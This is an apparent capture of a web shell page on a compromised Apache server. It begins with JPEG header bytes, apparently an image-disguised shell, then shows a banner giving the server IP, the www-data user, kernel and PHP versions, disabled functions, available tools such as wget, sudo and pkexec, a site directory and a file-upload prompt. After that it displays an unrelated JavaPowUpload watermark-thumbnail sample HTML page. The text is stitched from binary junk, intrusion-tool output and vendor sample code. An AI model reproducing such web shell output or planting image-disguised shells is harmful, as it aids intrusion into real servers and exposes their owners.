????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/customerzon/JavaPowUpload_old2/ |
Upload File : |
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Thumbnails upload example</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<script type="text/javascript" language="javascript">
function toggleBlock(id) {
if (document.getElementById(id).style.display == 'none') {
document.getElementById(id).style.display = 'block';
}
else {
document.getElementById(id).style.display = 'none';
}
}
</script>
Sample: <b>watermarkthumbnails.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/><br/>
This example shows the possibility of humbnails upload with watermarks.<br>
<br>
For the example you need to specify script URL that accept the files. Open the example in a text editor and specify the property value "Upload.UploadUrl" of JavaPowUpload applet. The value can be:
<ul>
<li>For ASP: <code>FileProcessingScripts/ASP/ClearASP/uploadfiles.asp</code></li>
<li>For PHP : <code>FileProcessingScripts/PHP/uploadfiles.php</code> <strong>(Default script)</strong></li>
<li>For ASP.NET (C Sharp): <code>FileProcessingScripts/ASP.NET/CSharp/uploadfiles.aspx</code></li>
<li>For ASP.NET (VB.NET): <code>FileProcessingScripts/ASP.NET/VBNET/uploadfiles.aspx</code></li>
<li>For Perl : <code>FileProcessingScripts/PERL/uploadfiles.pl</code></li>
<li>For Cold Fusion : <code>FileProcessingScripts/ColdFusion/uploadfiles.cfm</code></li>
<li>For JSP : <code>FileProcessingScripts/JSP/uploadfiles.jsp</code></li>
</ul>
<br/>
<span onClick="toggleBlock('parameters'); return false;" class="imglink">Parameters related to the watremark feature (click to expand)</span>
<br/>
<div id="parameters" style="display: none;">
<p><code><!--It deterimes whether JavaPowUpload should add watermark to the thumbnails.
The watermark is added only to the uploaded thumbnail and not visible in the DetailsArea preview. --><br></code>
<param name="Upload.Thumbnails.Watermark.Enabled" value="true"><br>
<code><!-- Url to the image which should be used as a watermark. --><br></code>
<param name="Upload.Thumbnails.Watermark.ImageUrl" value=""><br>
<code><!-- Available values: Top.Left, Top.Center, Top.Right, Center.Left, Center.Center, Center.Right, Bottom.Left, Bottom.Center, Bottom.Right. --><br></code>
<param name="Upload.Thumbnails.Watermark.Position" value="Bottom.Right"><br>
<code><!-- Watermark transparency. 0.0 - fully transparent, 1.0 - fully opaque. --><br></code>
<param name="Upload.Thumbnails.Watermark.Alpha" value="0.6"><br>
<br>
<code><!-- Watermark text. It is used only if the Upload.Thumbnails.Watermark.ImageUrl parameter is not set, or cannot be loaded. --><br></code>
<param name="Upload.Thumbnails.Watermark.Text" value=""><br>
<code><!-- Watermark text color.--><br></code>
<param name="Upload.Thumbnails.Watermark.TextColor" value="#FF0000"><br>
<code><!-- Watermark text font. --><br></code>
<param name="Upload.Thumbnails.Watermark.FontName" value="Arial"><br>
<code><!-- Watermark text style.
Font style: 0–plain, 1-bold, 2-itallic. --><br></code>
<param name="Upload.Thumbnails.Watermark.FontStyle" value="1"><br/>
<code><!-- Watermark text size. --><br></code>
<param name="Upload.Thumbnails.Watermark.FontSize" value="18">
</p>
</div>
<br>
<table>
<tr>
<td>
Type url to "watermark" image here:<br>
<input type="text" id="watermark_url" value="images/element-it.jpg" />
<input type="Button" value="apply" onClick="javascript: setWatermark();" /><br>
<br>Or type "watermark" text here:<br>
<input type="text" id="watermark_text" value="Element-IT" />
<input type="Button" value="apply" onClick="javascript: setWatermarkText();" /></br>
<br>Select position for watermark:
<table>
<tr>
<td>
<input type="radio" name="watermark_position" value="Top.Left" onClick="javascript: setWatermarkPosition(this);"> Top.Left
</td>
<td>
<input type="radio" name="watermark_position" value="Top.Center" onClick="javascript: setWatermarkPosition(this);"> Top.Center
</td>
<td>
<input type="radio" name="watermark_position" value="Top.Right" onClick="javascript: setWatermarkPosition(this);"> Top.Right
</td>
</tr>
<tr>
<td>
<input type="radio" name="watermark_position" value="Center.Left" onClick="javascript: setWatermarkPosition(this);"> Center.Left
</td>
<td>
<input type="radio" name="watermark_position" value="Center.Center" onClick="javascript: setWatermarkPosition(this);"> Center.Center
</td>
<td>
<input type="radio" name="watermark_position" value="Center.Right" onClick="javascript: setWatermarkPosition(this);"> Center.Right
</td>
</tr>
<tr>
<td>
<input type="radio" name="watermark_position" value="Bottom.Left" onClick="javascript: setWatermarkPosition(this);"> Bottom.Left
</td>
<td>
<input type="radio" name="watermark_position" value="Bottom.Center" onClick="javascript: setWatermarkPosition(this);"> Bottom.Center
</td>
<td>
<input type="radio" name="watermark_position" value="Bottom.Right" onClick="javascript: setWatermarkPosition(this);" checked> Bottom.Right
</td>
</tr>
<tr>
<td>
<input type="radio" name="watermark_position" value="repeat" onClick="javascript: setWatermarkPosition(this);"> Repeat
</td>
<td>
Vertical: <input type="text" id="repeatv" name="repeatv" onChange="javascript: setWatermarkPosition(this);" value="4">
</td>
<td>
Horizontal:<input type="text" id="repeath" name="repeath" onChange="javascript: setWatermarkPosition(this);" value="4">
</td>
</tr>
</table>
</td>
<td valign="bottom">
<br><br>Text color:<br>
<input type="text" id="watermark_color" value="#FF0000" />
<input type="Button" value="apply" onClick="javascript: setWatermarkColor();" />
<br>Text size in pixels:<br>
<input type="text" id="watermark_size" value="18" />
<input type="Button" value="apply" onClick="javascript: setWatermarkSize();" />
<br>Text style :<br>
<select id="watermark_style"onChange="javascript: setWatermarkStyle(this);"/>
<option value="0">Normal</option>
<option value="1" selected>Bold</option>
<option value="2">Cursive</option>
</select>
</td>
</tr>
<tr>
<td align="center">
<br>
<!--lib/JavaPowUpload.jar - main jar file, should always be included
Optional jar files:
lib/skinlf.jar - for themes support
lib/commons-compress.jar - compression before upload
lib/commons-httpclient.jar - http upload functionality
lib/commons-net-ftp.jar - FTP protocol support -->
<applet
code="com.elementit.JavaPowUpload.Manager"
archive="lib/commons-httpclient.jar,
lib/JavaPowUpload.jar"
width="550"
height="350"
name="JavaPowUpload"
id="JavaPowUpload"
mayscript="true"
alt="JavaPowUpload by www.element-it.com"
VIEWASTEXT>
<!-- Java Plug-In Options -->
<param name="progressbar" value="true">
<param name="boxmessage" value="Loading JavaPowUpload Applet ...">
<param name="Common.SerialNumber" value="put your serial number here">
<!--Enable upload mode -->
<param name="Common.UploadMode" value="true">
<param name="Common.DetailsArea.StartupDeviderLocation" value="0.5">
<!--Enable JavaPowUpload events and functions to use in JavaScript -->
<param name="Common.UseLiveConnect" value="true">
<!-- Set file view to thumbnails by default -->
<param name="Common.DefaultView" value="Thumbnails">
<!--Enable images preview in browse dialog -->
<param name="Upload.BrowseDialog.ImagePreview.Visible" value="true">
<--Set up thumbnauls settings -->
<param name="Upload.Thumbnails.Height" value="500">
<param name="Upload.Thumbnails.Width" value="500">
<param name="Upload.Thumbnails.Upload" value="true">
<param name="Upload.Thumbnails.Format" value="JPEG">
<param name="Upload.Thumbnails.FilePrefix" value="watermarked_">
<param name="Upload.Thumbnails.UploadOriginalFile" value="false">
<param name="Upload.Thumbnails.Watermark.Enabled" value="true">
<param name="Upload.Thumbnails.Watermark.ImageUrl" value="images/element-it.jpg">
<param name="Upload.Thumbnails.Watermark.Position" value="bottom.right">
<param name="Upload.Thumbnails.Watermark.Alpha" value="0.6">
<param name="Common.FileView.Thumbnails.Cell.ShowEditPanel" value="true">
<!--Set url to file processing script -->
<param name="Upload.UploadUrl" value="FileProcessingScripts/PHP/uploadfiles.php">
<!-- This text will be shown if applet not working or Java not installed-->
<span style="border:1px solid #FF0000;display:block;padding:5px;margin-top:10px;margin-bottom:10px;text-align:left; background: #FDF2F2;color:#000;">You should <b>enable applets</b> running at browser and to have the <b>Java</b> (JRE) version >= 1.5.<br />If applet is not displaying properly, please check <a target="_blank" href="http://java.com/en/download/help/testvm.xml" title="Check Java applets">additional configurations</a></span>
</applet>
</td>
</tr>
</table>
<script type="text/javascript">
var uploadedfilescount = 0;
var Java;
window.onload = function() {
InitJavaObj();
}
function InitJavaObj()
{
Java = document.getElementById("JavaPowUpload");
}
function JavaPowUpload_onServerResponse(status, response)
{
//Here we need parse server response
//and find url to uploaded thumbnails
//get current file processing script and combine path to file
var path_to_file = JavaPowUpload.getParam("Upload.UploadUrl");
path_to_file = path_to_file.substring(0, path_to_file.lastIndexOf("/")+1) + "UploadedFiles/";
var keyword = 'File ';
var keywor_end = " was successfully uploaded";
var ind = response.indexOf(keyword,0);
while(ind>=0)
{
url = response.substring(ind+keyword.length, response.indexOf(keywor_end, ind));
addThumbnail(path_to_file+url);
ind = response.indexOf(keyword, ind+keyword.length+1);
}
}
function addThumbnail(source)
{
var Img = document.createElement("img");
Img.style.margin = "5px";
Img.src = source+"?"+(new Date()).getTime();
document.getElementById("thumbnails").appendChild(Img);
}
function setWatermark()
{
Java.setParam("Upload.Thumbnails.Watermark.Text", "");
Java.setParam("Upload.Thumbnails.Watermark.ImageUrl", document.getElementById("watermark_url").value);
}
function setWatermarkText()
{
Java.setParam("Upload.Thumbnails.Watermark.ImageUrl", "");
Java.setParam("Upload.Thumbnails.Watermark.Text", document.getElementById("watermark_text").value);
}
function setWatermarkPosition(obj)
{
if(obj.name.indexOf("repeat") < 0 && obj.value.indexOf("repeat") < 0)
Java.setParam("Upload.Thumbnails.Watermark.Position", obj.value);
else
Java.setParam("Upload.Thumbnails.Watermark.Position", "repeat."+document.getElementById("repeatv").value+"."+document.getElementById("repeath").value);
}
function setWatermarkColor()
{
setWatermarkText();
Java.setParam("Upload.Thumbnails.Watermark.TextColor", document.getElementById("watermark_color").value);
}
function setWatermarkSize()
{
setWatermarkText();
Java.setParam("Upload.Thumbnails.Watermark.FontSize", document.getElementById("watermark_size").value);
}
function setWatermarkStyle(obj)
{
setWatermarkText();
Java.setParam("Upload.Thumbnails.Watermark.FontStyle", obj.options[obj.selectedIndex].value);
}
</script>
<div id="thumbnails"></div>
<br />
The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work.
<br/>
<a href="index.htm"><<Return to the samples list</a>
</body>
</html>